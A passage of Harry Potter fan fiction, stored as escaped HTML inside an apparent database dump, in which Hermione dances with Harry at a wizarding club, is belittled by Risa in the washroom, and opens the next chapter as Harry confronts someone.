Sorry we can\'t stay.&quot;\n<br><br>\nHermione was suddenly enjoying herself immensely.\n<br><br>\n&quot;That\'s quite all right. I was thinking of slipping out of here myself, but it is my party, after all,&quot; Risa said breezily.\n<br><br>\n&quot;Right then. Lovely party, as usual. I\'m sure I\'ll see you soon.&quot; \n<br><br>\nHarry waved and began to steer Hermione away, but before they could turn to go, Risa took his arm again.\n<br><br>\n&quot;Say,&quot; she said, as if the idea had just occurred to her. &quot;Would you mind terribly if I came with you? The rum punch will be gone in twenty minutes, and then this place will be as dull as a library.&quot;\n<br><br>\nHermione felt Harry\'s arm tense around her waist. &quot;Er -- &quot;\n<br><br>\n&quot;Fabulous,&quot; beamed Risa. &quot;I won\'t be a moment. Let me get Ron for you.&quot;\n<br><br>\nHermione and Harry stood, awkwardly frozen, watching Risa bob through the crowd towards Ron. It seemed like an age before either of them spoke.\n<br><br>\n&quot;Exploding Snap?&quot; Hermione managed, her tongue numb.\n<br><br>\nHarry dropped his arm from Hermione\'s waist. She missed it instantly.\n<br><br>\n&quot;I am <i>so</i> sorry,&quot; he said, shaking his head. &quot;She is so bloody persistent. Exploding Snap is a dance club. It\'s the only thing that popped into my head -- all the boys on the team are always going on about it. We don\'t have to go, really. I can say you\'re not feeling well -- &quot;\n<br><br>\n&quot;No, that\'s really okay. I don\'t mind.&quot; Another awkward pause. &quot;Risa doesn\'t really... seem like a friend of yours,&quot; she said, regretting the words as soon as she heard them.\n<br><br>\nBut Harry didn\'t seem surprised. &quot;She\'s not,&quot; he said quietly. &quot;Well, not exactly. Risa\'s mother is some sort of Muggle royalty, a baroness or something. Her uncle owns Quality Quidditch Supplies. She\'s got a thing for Quidditch players -- always hanging round the shop. I met her when I moved to London.&quot; He shifted uneasily. &quot;I still seem to be on her permanent invitation list. She does throw a good party though. I thought it would be a bit of harmless fun.&quot;\n<br><br>\n&quot;It is quite the party, it\'s true. And Ron is having such a good time.&quot;\n<br><br>\n&quot;Yeah,&quot; Harry grinned wryly. &quot;I mostly came to watch Ron. Knew he would love it. Unfortunately I haven\'t gotten to see him much.&quot;\n<br><br>\nHe grew quiet, as Risa was making her way back towards them through the crowd, Ron and the two blonde girls by her side. \n<br><br>\n&quot;Are we going dancing then?&quot; Ron said brightly, offering an arm to each of the blonde girls. Hermione watched as Risa edged towards Harry; he wrapped an arm around Hermione\'s waist again. Hermione tried to act nonchalant while her heart performed somersaults. \n<br><br>\n&quot;We are,&quot; said Harry, giving Ron the Play-Along look he\'d used earlier. &quot;Exploding Snap, remember?&quot;\n<br><br>\nRon knew that look too. &quot;Oh, right,&quot; he said, cottoning on. &quot;Forgot what time it was. By the way, Harry, Hermione, meet Bridget and Bianca.&quot;\n<br><br>\nThey shook hands all around until a small house elf wearing a pink pillowcase edged shyly up to Harry holding a pile of cloaks.\n<br><br>\n&quot;Harry Potter would like his cloak, sir?&quot;\n<br><br>\n&quot;Oh, yes please,&quot; Harry said, nudging Hermione. This must be the smitten elf. The house elf blushed furiously and fumbled with the heavy cloaks; when Harry bent down to help her out, the elf could hardly meet Harry\'s eyes. &quot;Oh, thank you, sir. Harry Potter is really too kind,&quot; she mumbled, giving cloaks to Bridget and Bianca, pink to the tips of her bat-like ears. \n<br><br>\nHermione knew how the house elf felt.\n<br><br>\nHarry bent again to retrieve Hermione\'s cloak and wrapped it around her shoulders before putting on his own. &quot;Right,&quot; he said, giving the house elf a smile that sent her scurrying backwards and bowing low. &quot;Shall we?&quot;\n<br><br>\nAnd so Hermione found herself escorted into the cold, clear London night on Harry\'s arm, warm to the tips of her toes with the feeling of her hand wrapped in his, wondering how her best friend could cause her head to spin just by walking beside her. \n<br><br>\n~ ~ ~ ~ ~\n<br><br>\nThe entrance to Exploding Snap turned out to be inside an old Wizard pub called the Stone Wolf, near the Leaky Cauldron in Diagon Alley. A giant statue of a stone wolf stood in a side room near the back of the crowded pub, and if his nose was rubbed, a wall sprang aside to reveal a dark, smoky hallway thick with heat and music. Risa strode into the hallway as if she\'d been there a ten times already that evening, but Ron seemed suitably impressed.\n<br><br>\n&quot;Gryffindor tie around the doorknob, right?&quot; he whispered to Harry and Hermione, grinning wickedly as he ducked into the hall. Earlier that evening, the three of them had decided that a school tie knotted around a doorknob would serve as a signal for privacy, and it seemed as if Ron was hoping to have an excuse to use it. Harry rolled his eyes and gave Hermione a sideways grin as Ron disappeared from view. &quot;Well, at least we\'re out of that stuffy party,&quot; he said quietly, taking her cloak and motioning her forward.\n<br><br>\n&quot;Right,&quot; Hermione said, her head feeling like it was made of champagne bubbles. &quot;Definitely a good plan.&quot;\n<br><br>\nThe club was packed, lit with tiny red and yellow flames trapped in glass globes, with a large dance floor surrounded by tables and an old wooden bar at one end of the vast room. Hermione could recognize some people who had been at Risa\'s party earlier in the evening, but the crowd was more casually dressed than Risa\'s partygoers, and most of them were dancing uproariously to an unidentifiable rock song that pounded through the floorboards. \n<br><br>\nHarry deposited their cloaks at one of the few empty tables, then glanced uncomfortably at the dance floor. &quot;I\'ll get drinks. Back in a moment.&quot;\n<br><br>\nRon was grinning as Bridget and Bianca urged him towards the feverish crowd. &quot;All right, I\'m coming. Come on, \'Mione!&quot;\n<br><br>\nJoining Ron on the dance floor would mean leaving Harry alone with Risa, who had just seated herself at the table and was now beckoning to several of her friends across the room. &quot;No thanks. I\'m just going to watch a bit first.&quot;\n<br><br>\n&quot;Suit yourself.&quot; Ron draped an arm around Bianca. &quot;But I\'m coming back for you if I don\'t see you out here in ten minutes.&quot; He waggled a finger at her.\n<br><br>\n&quot;Fine, fine.&quot; Hermione settled into a chair and watched Ron edge onto the dance floor, head and shoulders above most of the crowd. Someone sank into the chair next to her; it was one of the girls from Risa\'s party, a leggy redhead wearing a short black dress and not much else. Risa\'s girlfriends were appearing as if from nowhere, swarming the table like a cluster of vapid butterflies. Wonderful. &quot;Bugger this,&quot; Hermione muttered to herself.\n<br><br>\n&quot;Pardon?&quot; The redhead turned and blinked inquiringly at Hermione.\n<br><br>\n&quot;Er... nice place, this,&quot; Hermione amended lamely.\n<br><br>\n&quot;Oh, it\'s average.&quot; The redhead looked down her nose at Hermione, seeming to notice her for the first time. Hermione was reminded instantly of Pansy Parkinson. &quot;We heard this was where everyone would be tonight,&quot; the girl said. &quot;We\'re quite good friends with Harry Potter, he\'s expecting us here, you know.&quot; She gestured at the girls who were now crowding around the table.\n<br><br>\n&quot;Really,&quot; Hermione said genially, trying to maintain a smile. It was painful. \n<br><br>\n&quot;I don\'t suppose you\'ve met him,&quot; the redhead continued. &quot;I haven\'t seen you hanging about before.&quot;\n<br><br>\n&quot;Oh, I\'ve met him,&quot; Hermione began.\n<br><br>\n&quot;Well isn\'t that a surprise! I\'m Ashley, by the way.&quot; Ashley gave her a conspiratorial smile and slid her chair closer to Hermione\'s. &quot;So, did you meet him at Risa\'s? Do you know anyone else who plays for England?&quot;\n<br><br>\n&quot;I\'ve known Harry for quite a while, actually,&quot; Hermione said, but Ashley began to shake her head. \n<br><br>\n&quot;Haven\'t we all,&quot; she smiled, rolling her eyes. &quot;Everyone\'s got a story.&quot;\n<br><br>\nA familiar voice interrupted them; the sound of it made Hermione\'s ears go pink.\n<br><br>\n&quot;Here you go, Hermione,&quot; Harry said, setting a pint of bitter on the table in front of her. He had his wand in one hand, and a heavy tray of full pints was levitating near one of his shoulders. With a flick of his wrist, the remaining pints settled themselves unsteadily onto the table. &quot;Sorry. I\'ve just brought enough for six.&quot;\n<br><br>\n&quot;Thanks.&quot; Hermione sipped her ale and watched Ashley\'s eyes go wide as Harry lifted a chair from another table, slid it close to Hermione\'s, and sat down, looking uneasy at the sight of their now-crowded table.\n<br><br>\n&quot;Sorry about this,&quot; Harry muttered in a whisper only Hermione could hear. &quot;One drink and we\'ll get out of here.&quot; She nodded in assent. Harry looked thoroughly hassled; his hair was standing up as if he\'d raked his fingers through it repeatedly. His scar stood out in sharp relief, a dark line across his pale forehead in the hazy light of the club, so obvious it nearly made Hermione cringe. She was seized by an urge to reach out and smooth a dark strand of Harry\'s hair over the angry mark, the jagged line that advertised his fame like a flashing billboard. Harry reached for his own pint glass and took a large swig.\n<br><br>\nWhen Hermione looked up she saw that Ashley was staring at her as if Hermione was something putrid she\'d found on the bottom of her tall strappy heels. &quot;Harry,&quot; Ashley cooed. &quot;Great to see you again.&quot;\n<br><br>\n&quot;Oh, hi,&quot; Harry said, sipping his drink again. There was an awkward pause. &quot;Er, sorry, you do look familiar, but I\'ve forgotten your name.&quot;\n<br><br>\n&quot;Ashley. I\'m sure you meet so many people.&quot; Ashley\'s smile remained brilliantly frozen beneath her pert nose.\n<br><br>\n&quot;Right.&quot; Harry was beginning to look as if he was being pursued by a Blast-Ended Skrewt. &quot;Where\'s Ron?&quot; he said quietly.\n<br><br>\nAs if on cue, the crowd parted, and a breathless and flushed Ron Weasley was back at the table, unbuttoning the top few buttons of his dress shirt and beaming at everyone.\n<br><br>\n&quot;Hullo, everyone. This my pint?&quot; He picked up a glass at Harry\'s nod and raised it, looking around at Risa\'s entourage. &quot;Cheers, then!&quot;\n<br><br>\n&quot;Ron,&quot; Harry began, but Ron was past noticing; his eyes were too busy taking in the cluster of girls at their table. Ron set down his glass again, and with a broad grin, offered his hand to Hermione.\n<br><br>\n&quot;Up with you,\'Mione!&quot; he said jovially. &quot;Or I\'ll lift you out of that seat myself. I need a dance with my best friend.&quot;\n<br><br>\nHermione couldn\'t refuse. She held out her hand, and Ron pulled her to her feet; she knew that Ron meant well, that he probably thought he was doing Harry a favor by leaving him alone with the gaggle of girls. Her stomach dropped when she saw Risa get to her feet and approach Harry\'s chair.\n<br><br>\n&quot;That\'s right, this is a dance club,&quot; Risa said, all innocence and long lashes. &quot;Harry, may I have the honor?&quot;\n<br><br>\nHarry went pink; he was never one to refuse an invitation. Hermione was sure he was inwardly cursing his Gryffindor chivalry at this very moment. &quot;Er, of course,&quot; he said, getting to his feet.\n<br><br>\n&quot;It\'s hot as blazes out there, Harry. Best leave your jumper,&quot; Ron said, his arm around Hermione. Harry nodded ruefully and lifted his jumper over his head. Now, in a white t-shirt and jeans, with his hair even more unruly than usual, he looked like little-boy-Harry again, painfully awkward on the arm of Parvati Patil.\n<br><br>\nRon was now tugging Hermione towards the crowd; Harry and Risa followed, and soon the four of them were crushed against a sea of writhing bodies as they made their way onto the packed dance floor. Ron gave a whoop and spun Hermione around to clear a bit of room. Hermione couldn\'t help smiling; it was primarily due to her own efforts that Ron had gone from despising the dance floor to loving it unreservedly. She had stubbornly forced Ron to dance at every Hogwarts ball and gala until he\'d finally begun to enjoy himself, and even Harry had joined in eventually. Watching Ron and Harry dance never failed to make Hermione feel a surge of love for them both: Ron, with absolutely no rhythm, making up for his lack of coordination with infectious enthusiasm; Harry, naturally athletic, able to keep a beat but far too shy to show off. \n<br><br>\nShe gave a yelp of surprise as Ron pulled her close, dipping her backwards; Harry caught her eye and smiled. He was clearly attempting to keep Risa at arm\'s length and failing, as Risa\'a arms kept slipping up around his neck and twining around his waist. \n<br><br>\nRon\'s dancing was too distracting, however, and Hermione soon found it impossible to watch anyone else as Ron imitated the other dancers, wrapping his arms around her and urging their hips together. Soon they were grinding against each other, giggling like a couple of second-years. When the song was over she relaxed into Ron\'s arms; he was about to twirl her into another dance when she felt a soft tap on her shoulder.\n<br><br>\n&quot;Excuse me.&quot; It was Harry, who was holding Risa at arm\'s length. &quot;Mind if I snag a dance with Hermione, Ron?&quot;\n<br><br>\n&quot;Of course not, mate,&quot; Ron said, squeezing Hermione\'s hand as they broke apart, and offering a trademark broad smile to Risa. &quot;Fine idea. I take it this lovely lady will be free?&quot;\n<br><br>\n&quot;I suppose so,&quot; Risa demurred, letting go of Harry\'s hand with great reluctance. And with that, Ron pulled Risa into his enthusiastic grasp as Harry put a hand around Hermione\'s waist.\n<br><br>\n&quot;Thanks again. You\'ve saved me twice now,&quot; Harry whispered, his gentle grasp sending tremors through the tips of Hermione\'s fingers. The music began again, slower, rhythmic, and a whoop erupted from the crowd: The Rolling Stones, &quot;Tumbling Dice.&quot;  Harry took Hermione\'s hand, Hermione suddenly conscious of the bodies churning around them, the groping arms and sliding hands and --\n<br><br>\n&quot;Oh, come <i>on</i>, you two! This isn\'t the Great Hall.&quot; Ron, twirling Risa with one hand, had stopped in mid-twirl to give Harry and Hermione a disapproving look. Without warning, he leaned over and pushed them close together, like he\'d held Hermione. He put Harry\'s arms tightly around Hermione\'s hips, moved Hermione\'s hands to Harry\'s waist, then nodded in satisfaction, dancing all the while. &quot;That\'s more like it.&quot;\n<br><br>\nHarry had flushed scarlet. &quot;Er, thanks.&quot; \n<br><br>\nHermione\'s heart was now beating so fast she was sure Harry could feel it right through the fabric of his thin t-shirt. She didn\'t dare look at him; she was almost faint with the feeling of his arms around her, the soft scent of his shirt. He smelled faintly smoky, like ale and candles, like Harry -- and then Hermione realized what the Harry smell really was. He smelled like the scent of a spell in the air: the faintly charged crackle of <i>Incendio</i>, the afterglow of a Cheering Charm, the imperceptible whiff of <i>Lumos</i>. Harry smelled like magic. \n<br><br>\nHe was nearly a head taller than she was, and her eyes were drawn upwards to meet his, deep green, shining softly, framed by dark rakish eyebrows and familiar round glasses. She knew the lines of his features almost better than she knew her own, and yet she found herself trying to memorize them, his lopsided smile, the strength in the set of his chin, the fine pale scar at his left cheekbone that Hermione knew to be a souvenir of the Defeat. Warmth was spreading through her from somewhere near her abdomen, making her palms feel damp. Hermione noted absently that she\'d had no trouble dancing so closely with Ron, that it was absurd, and funny, and brotherly, but now --\n<br><br>\nHarry laughed shyly; his breath was warm and sweet. &quot;Well then,&quot; he mumbled. \n<br><br>\nThey began to move awkwardly, bumping against each other, their proximity almost painful, so distracting that Hermione could barely move. They\'d never been this physically close before. And then gradually she began to notice how they fit together, how he was guiding her with imperceptible movements, how she somehow knew what he was about to do. This was Harry, after all. She took a deep breath and looked up again, smiling. \n<br><br>\nHarry\'s face split into an awkward grin. And then they began to dance.\n<br><br>\nHermione had been out dancing plenty of times. She\'d even had a few romantic interludes on the dance floor. And she\'d certainly danced with Harry more times than she could count. But apparently that hadn\'t really been dancing. None of it had. Now she felt like her head was spinning and her body was on fire, burning where Harry\'s hands held her as they swayed and rocked and moved together, somehow moving closer and closer until there seemed to be no space at all between them, because they didn\'t need space, because it felt too good, and nothing in the world had ever felt like this. Harry moved so easily, his body warm and strong and light, the gentle curves of her body somehow perfect under his hands, and it was impossible to tell where his body ended and hers began -- <i>you can be my partner in crime</i> -- <i>you\'ve got to roll me</i> -- \n<br><br>\nHermione was vaguely aware of the crowd around them, pushing in close, then giving them room, as if they were all breathing together. The music slowed into a new song, lapsing into a sinuous lick of guitar, and they slipped even closer together. Hermione realized she\'d wrapped her arms around Harry\'s neck as if it were the most natural thing in the world, his hands were sliding gently over her waist, his touch sweet and tentative -- <i>I\'ve walked for miles, my feet are hurting, all I want is for you to make love to me</i> -- she couldn\'t believe they were this close, she couldn\'t believe this was her life, this was Hermione Granger, forgetting herself so completely in someone else. She couldn\'t believe it was Harry.\n<br><br>\nThe lights went up and the music was over with a painful shock. Hermione couldn\'t seem to move. She felt Harry\'s chest rise and fall next to hers, could feel both their hearts pounding, his arms still tightly around her, hers still twined around his neck. This hadn\'t just happened. She was not about to look into her best friend\'s eyes with his lips so close to hers, while they were wrapped together like Devil\'s Snare. She hadn\'t just danced like that with her friend Harry.\n<br><br>\nBut his eyes were waiting, and she felt his hands move uncertainly, and she had to look up.\n<br><br>\nHarry\'s gaze was unreadable, soft and questioning, startled, intense. His face was flushed, his glasses slightly askew.\n<br><br>\n&quot;Well done!&quot;\n<br><br>\nHermione jumped as if she\'d been burned with a hot poker, her hands flying from Harry\'s neck to tremble at her sides. Ron was grinning at them, one arm around Bianca. Risa must have left at some point, and Hermione hadn\'t even noticed. Great Merlin\'s Ghost.\n<br><br>\n&quot;I\'ve got to hand it to you both, those were some wicked moves. Didn\'t know you had it in you,&quot; Ron said, chuckling. &quot;Closet dance club fiends, the both of you.&quot;\n<br><br>\nOblivous, wonderful Ron. He thought they\'d just been dancing. \n<br><br>\nWell, they had just been dancing. Suddenly Hermione wasn\'t at all sure what had happened. Because nothing had really happened. Had it?\n<br><br>\nHarry\'s arms were still around her waist, as if he\'d forgotten they were there. A pit of fear lodged in Hermione\'s stomach. What if he\'d forgotten because it didn\'t mean anything to him? \n<br><br>\n&quot;I\'ve, er, got to go to the washroom,&quot; Hermione blurted, backing away and stumbling over Harry\'s foot.\n<br><br>\n&quot;Hey, all right,&quot; Ron called. &quot;We\'ll be at the table, I guess?&quot;\n<br><br>\nHermione felt the crowd envelop her as she fought her way towards the tables, her hands shaking, still warm with Harry\'s touch. She wanted to disappear. \n\n<br><br>\n~ ~ ~ ~ ~\n<br><br>\nThe water running over Hermione\'s face and hands was shockingly cold, but not nearly cold enough to clear her mind. Having a muddled mind was not something Hermione enjoyed; it was certainly not something she had extensive experience dealing with. She was distinctly accustomed to knowing the answer. \n<br><br>\nHarry\'s face blazed in her thoughts, the opaque look in his eyes a shrouded question. Had he felt the same things she had, or had he been confused by her reaction after what he thought was a dance between friends? \n<br><br>\nHe\'d certainly danced with dozens of women. Lord knows what he\'d been doing since he moved to London; he\'d casually mentioned a few flings, but Harry had never been one to divulge the intimate details of his romantic life, even to Hermione. It could be that he was experienced with that type of dancing, that he was just humoring Ron. It could be that he was trying to show her a good time because he was using her to get away from Risa.\n<br><br>\nHe had even thanked her for that. Not that she minded. But it didn\'t help to clarify things one bit.\n<br><br>\nShe looked warily at her reflection in the mirror, blurry at first as she rubbed the water from her eyes. Long brown curls, tamed with a dab of Sleakeasy\'s, but still spilling around her face in overly energetic waves, making her features look small and almost elven. Brown eyes, slightly red-rimmed, a bit on the large side, with lashes that made her appear too young to be in a place like Exploding Snap in the first place. Dark, arched eyebrows, nothing like the fine pencilled lines on the faces of Risa\'s partygoers. Lips that had lost their thin coating of Lickworthy\'s Berry Gloss hours ago. A wide smile. Not too bad, really.\n<br><br>\nMaybe the dance had been real.\n<br><br>\nShe\'d never felt that comfortable in her own skin before. She took a tentative step back, surveying her small frame. She\'d never been a great fan of her own body, though Ron had always been sweetly enthusiastic about it while they were dating. A bit shorter than average, delicate, but slightly curvy; certainly curvier than Risa and most of her friends. Her chest was nothing to write home about, but her waist was small, and her legs were slender. Her hips were probably a bit more rounded than they needed to be, but tonight --\n<br><br>\nTonight she\'d felt wonderful. \n<br><br>\nSomething about Harry\'s touch had melted her self-consciousness, made her thrill in the feel of her own body, made her distinctly aware that she was far more than just a mind. She\'d always been Hermione, the smart one, the brain, her physical self completely forgotten. Harry was the athlete, after all, quick and agile, stronger every year she\'d known him. And Ron was so tall, with dogged determination that had earned him a spot on the Quidditch team from their fifth year onward. Hermione had always been a spectator.\n<br><br>\nUntil tonight.\n<br><br>\nThe door of the women\'s washroom clicked open; Hermione immediately dove towards the sink, splashing more water on her face. She stood again, groping for a towel, and opened her eyes to see Risa and Ashley\'s long, lanky forms reflected in the mirror. \n<br><br>\n&quot;Hermione!&quot; exclaimed Risa, with a thinly veiled smirk of delight. &quot;I was wondering where you\'d gone.&quot;\n<br><br>\n&quot;Hello again,&quot; said Ashley, smiling prettily.\n<br><br>\n&quot;Just washing my face,&quot; Hermione said brightly, scrubbing faster with the towel.\n<br><br>\nRisa took a tube of lipstick from her purse as a silver hairbrush rose from her open handbag and began smoothing her glossy hair of its own accord. Hermione was on her way to the door when a look from Risa made her stop short.\n<br><br>\n&quot;Would you like to borrow anything? You\'re still a bit -- wet.&quot;\n<br><br>\nHermione blinked.\n<br><br>\nRisa rubbed her lips together and offered the tube to Hermione. &quot;Take this. Or maybe a hairbrush?&quot;\n<br><br>\n&quot;No, no thank you -- &quot;\n<br><br>\n&quot;I saw you, you know,&quot; Risa said offhandedly, taking a pink powder puff from her purse and leaning forward to examine herself in the mirror. &quot;Dancing with Harry. Wasn\'t that sweet!&quot; \n<br><br>\n&quot;Mm,&quot; nodded Ashley, applying her own lipstick. &quot;He\'s so nice to dance with you that way.&quot;\n<br><br>\nHermione\'s mouth went dry. \n<br><br>\n&quot;I know. Such a good friend,&quot; Risa added. &quot;It did look like you were enjoying yourself. Too bad you\'re just not his type, eh? But I\'m sure you know that already, being his friend and all.&quot;\n<br><br>\nHermione\'s brain screeched to a halt. &quot;What?&quot;\n<br><br>\nRisa put a sisterly arm around Hermione, tilting her towards their reflection. &quot;Take it from an ex,&quot; she said, winking sweetly. &quot;Harry likes women who are just a bit more... how to say it... put together.&quot;\n<br><br>\n&quot;Right,&quot; Ashley said, leaning in to place a hand on Hermione\'s curls. &quot;Maybe tame this a bit?&quot;\n<br><br>\n&quot;Oh yes,&quot; Risa said. &quot;I\'ve got the name of a lovely hair-witch if you\'d like.&quot;\n<br><br>\nHermione blinked.\n<br><br>\n&quot;And a bit of powder here, wouldn\'t you say, Reese?&quot; Ashley tapped Hermione\'s nose with a fingernail. \n<br><br>\n&quot;Definitely. And I\'d try cutting back on supper, so you\'ll lose a bit of this.&quot; Risa patted Hermione\'s midsection. &quot;Then we can find a dress that might fit you nicely.&quot;\n<br><br>\n&quot;I\'m not sure she\'s tall enough for him, though.&quot; Ashley closed her purse and peered at her own reflection.\n<br><br>\n&quot;Well, one can\'t help that,&quot; Risa smiled. &quot;But we can help you, dear, if you like.&quot; She beamed at Hermione in the mirror.\n<br><br>\nHermione felt as if all the blood was draining from her head. She shifted away from Risa\'s grasp. &quot;I don\'t want -- &quot;\n<br><br>\n&quot;Of course you do,&quot; Risa said. &quot;I saw how you were looking at him. It\'s quite obvious; no need to be shy about it. I\'m just offering my experience -- I\'ve seen him date quite a few girls.&quot;\n<br><br>\nWords failed Hermione. The tiny part of her that wasn\'t completely frozen wanted to hex Risa Talbot into a thousand glittering pieces. Unfortunately her wand seemed to be controlled by the frozen part of her brain.\n<br><br>\n&quot;We should get back to dancing, Reese.&quot; Ashley was smiling broadly.\n<br><br>\n&quot;Well, do let me know, won\'t you?&quot; Risa gave Hermione\'s shoulder a friendly squeeze. &quot;Always happy to help.&quot;\n<br><br>\nThe washroom door swung closed. In the mirror, Hermione\'s face was pale and blotchy. Her nose was red. Underneath her tousled hair, she looked very small.\n<br><br>\n\n~ ~ ~ ~ ~\n<br><br>\nIn the hours to come, Hermione knew she would think of a thousand wonderful, scorching things to say to Risa Talbot when she replayed that scene in the washroom in her mind\'s eye. She knew she would think of even better things to say tomorrow. She knew with bitter certainty that she would be thinking of things to say to Risa Talbot in the Exploding Snap washroom for the rest of her life.\n<br><br>\nIt was not a comforting thought. Hermione slumped against the cold floor of the toilet stall. At the very least she should Apparate out of here -- but she\'d had two drinks that evening, and though she couldn\'t feel their effects, she knew better than to try Apparating without the confidence of total sobriety.\n<br><br>\nWhy had she let those girls get to her? She\'d been tormented by Pansy Parkinson and her gang of Slytherin cronies for seven years at Hogwarts. They\'d certainly muttered worse things under their breath in the hallways, and she\'d always turned her nose up. She\'d slapped Draco Malfoy. She\'d wrestled Millicent Bulstrode. She\'d stood up to Rita Skeeter. She\'d helped defeat the Dark Lord nearly seven times, for Merlin\'s sake. She had Harry and Ron as her best friends, and that thought alone was enough to keep her head high. But now, somehow, Risa\'s words had eroded that facade. She\'d hit Hermione in a spot that hurt too much to think about, in a place that made her question everything.\n<br><br>\n&quot;Hermione?&quot;\n<br><br>\nA fist was pounding on the washroom door, rattling the handle. Hermione had recovered the use of her wand shortly after Risa\'s departure, and in commemoration of this event she\'d cast a rather powerful locking charm on the washroom door. She knew it probably wasn\'t the most mature course of action in a crowded club, but it was a marginally satisfying way to let off steam after what had happened. Her locks were good enough to be virtually unbreakable by all but the most powerful magic. \n<br><br>\nA flash, and a puff of dust, and the door flew open.\n<br><br>\nOf course, she also happened to be friends with one of the only wizards alive who could break her spell. \n<br><br>\nThe door to her toilet stall popped open with another flash and Harry was there, standing over her with his wand out and looking grave enough to distract Hermione completely. He was wearing his cloak again, and it loomed out behind him like a black banner.\n<br><br>\n&quot;What are you <i>doing</i> in here?&quot; he managed, his voice strained.\n<br><br>\nHermione suddenly felt eleven years old.\n<br><br>\n&quot;I was upset,&quot; she whispered.\n<br><br>\n&quot;It\'s been over an hour. We\'ve been looking for you everywhere. You have no idea -- &quot;\n<br><br>\nFor a moment Hermione thought Harry was going to turn and stalk out of the room in anger. It was something Ron might have done. But instead, his eyes clouded. He pocketed his wand.\n<br><br>\n&quot;Was it -- &quot; He swallowed. &quot;Did I -- &quot;\n<br><br>\n&quot;No,&quot; Hermione said, then realized she couldn\'t stop the tears that were slipping down her cheeks. &quot;No, you didn\'t do anything wrong. It wasn\'t you.&quot;\n<br><br>\nHarry\'s shoulders slumped with relief. He sank to the ground, but seemed wary of coming closer.\n<br><br>\n&quot;You haven\'t locked yourself in a toilet since first year,&quot; he said quietly. &quot;What happened?&quot;\n<br><br>\nA thousand words of explanation readied themselves in Hermione\'s mind. I\'m in here because I feel something for you that I\'ve never felt before for anyone else. I\'m in here because of the way we were dancing. I\'m in here because I don\'t know how you feel, because I think my heart would break if I did know. I\'m in here because I know I\'ll never be anyone you want as more than a friend.\n<br><br>\nShe told all the truth she could.\n<br><br>\n&quot;Risa and Ashley came in while I was freshening up. They... said some things about the way I look.&quot;\n<br><br>\n&quot;They did <i>what</i>?&quot; Harry\'s eyes flashed. He slid next to her, peering into her face.\n<br><br>\n&quot;I\'m being stupid again,&quot; she said, her breath hitching in her throat. &quot;Really stupid. I don\'t know why I let them bother me.&quot;\n<br><br>\nHarry\'s arms were around her now, and in their warmth Hermione could no longer hold back. She dissolved into sobs, her tears soaking into Harry\'s cloak as he rubbed her back gently.\n<br><br>\n&quot;I know you,&quot; he said, as her sobs began to quiet. &quot;You don\'t get upset over nothing. I want to know what they said.&quot;\n<br><br>\nHermione tried to straighten up. &quot;I can\'t. It\'s embarrassing.&quot;\n<br><br>\n&quot;Hermione.&quot; Harry\'s voice was steel.\n<br><br>\n&quot;Well, they might have suggested that I improve some things. Obvious things, really.&quot;\n<br><br>\n&quot;Obvious how?&quot;\n<br><br>\n&quot;My hair.&quot; Hermione couldn\'t stop the words now. &quot;My figure. The way I dress.&quot;\n<br><br>\n<i>&quot;WHAT?&quot;</i>\n<br><br>\nHarry\'s anger was astounding. As upset as Hermione was, it seemed like nothing compared to the look on Harry\'s face. He shot to his feet. \n<br><br>\n&quot;You?&quot; he said, his voice cracking slightly. &quot;You\'re <i>perfect</i>, you\'re -- &quot;\n<br><br>\nHermione\'s eyes went wide. &quot;Harry -- &quot; \n<br><br>\nBefore she could even stand, Harry was out the door, wand in hand, his cloak flaring behind him like a curtain.\n<br><br>\nHermione struggled to her feet in disbelief.\n<br><br>\n\n~ ~ ~ ~ ~\n\n\n\n\n'),
	(8, 4, '\n\n\n\n\n\n<b>Come Together</b><br><br>\n<b>Disclaimer:</b> This story is based on characters and \nsituations created and owned by JK Rowling, various publishers including but not \nlimited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner \nBros., Inc. No money is being made and no copyright or trademark infringement is \nintended.\n<br><br>\n<b>Author\'s Note:</b> &quot;I May Be A Tiny Chimney Sweep&quot; is by Rave I believe, and appears in many other fanfics. Consider this my homage to a fine bit of legendary fandom songwriting. \n&quot;If I Were The Marrying Kind&quot; is a rugby song sung at post-game parties, or &quot;the Third Half.&quot; If anyone wants to know the rest of the rainy day verse, drop me a line. ;-)\n<br><br>\nHuge thanks, as always, to everyone who\'s taken the time to review this fic thus far, to the HMS PP at FAP, and to everyone who\'s joined Granger\'s Library. This fic would simply not exist without you.\n<br><br>\n~~~~~~~~~~~~~~\n<br><br>\n<b>Chapter Four:</b> Freefalling\n<br><br>\n<i>you are the reason<br> \ni\'ve been waiting so long<br>\nsomebody holds the key<br>\nwell i\'m near the end and i just ain\'t got the time<br>\nwell i\'m wasted and i can\'t find my way home</i><br><br>\n-- &quot;Can\'t Find My Way Home,&quot; Blind Faith\n<br><br>\n~ ~ ~ ~ ~\n<br><br>\nRon Weasley\'s startled face was the first thing Hermione saw when she threw open the washroom door. She was immediately aware of her puffy, tear-swollen eyes; Ron stared, uncomprehending.\n<br><br>\n&quot;Bloody hell, \'Mione, what\'s going on? Where have you been? What on earth\'s wrong with Harry?&quot;\n<br><br>\n&quot;Is he here?&quot; Hermione was scanning the crowd desperately.\n<br><br>\n&quot;He just bolted off that way. Would you mind telling me -- &quot;\n<br><br>\nThe packed club went deathly quiet. The music cut off abruptly; the crowd chatter was silenced as if someone had flipped a switch. The lights snuffed out as if a bitter wind had whipped through the room. Hermione\'s breath caught in her throat.\n<br><br>\nHermione felt her eyes move to a spot on the dance floor, a spot where one shadow was still moving, footsteps echoing on the cold, slick wood. One glance at dark wild hair and a dark cloak told her it was Harry. She grabbed Ron\'s arm and felt his hand close around hers as she pulled him forward through the crowd. They seemed to be the only ones moving at all. \n<br><br>\nAt the edge of the dance floor Hermione stopped short. She could see Harry clearly now in the dim light, his gaze fixed on someone seated at a table nearby. His eyes were a strange, hot green. She shivered. Every nerve in her body was screaming at her to get Harry, to pull him away so they could just go home and sit in the kitchen with Ron and drink hot mugs of tea liberally spiked with Ogden\'s and talk about how ridiculous the evening had been. But something was holding her back. \n<br><br>\nIt was almost like a dream. One of those dreams where she wanted to run but couldn\'t. She could only stand and watch, frozen in the approaching headlights of a nightmare.\n<br><br>\nA sickly green light was coming from somewhere, washing the room in an unnatural pallor. It took Hermione a moment to realize that the light was somehow, impossibly, coming from Harry, illuminating the edges of his cloak, tracing the messy lines of his raven hair in weird lime.\n<br><br>\nIt was still Harry. But it wasn\'t.\n<br><br>\nSome unknown force had subtly shifted the set of his shoulders, lit his eyes with searing heat, carved his face in planes of dark and light. It was foreign, yet... familiar. Hermione had felt it in the past, sensed some of it behind Harry\'s shrouded glance when he spoke of the Defeat, but then it had only flickered in his eyes. Now 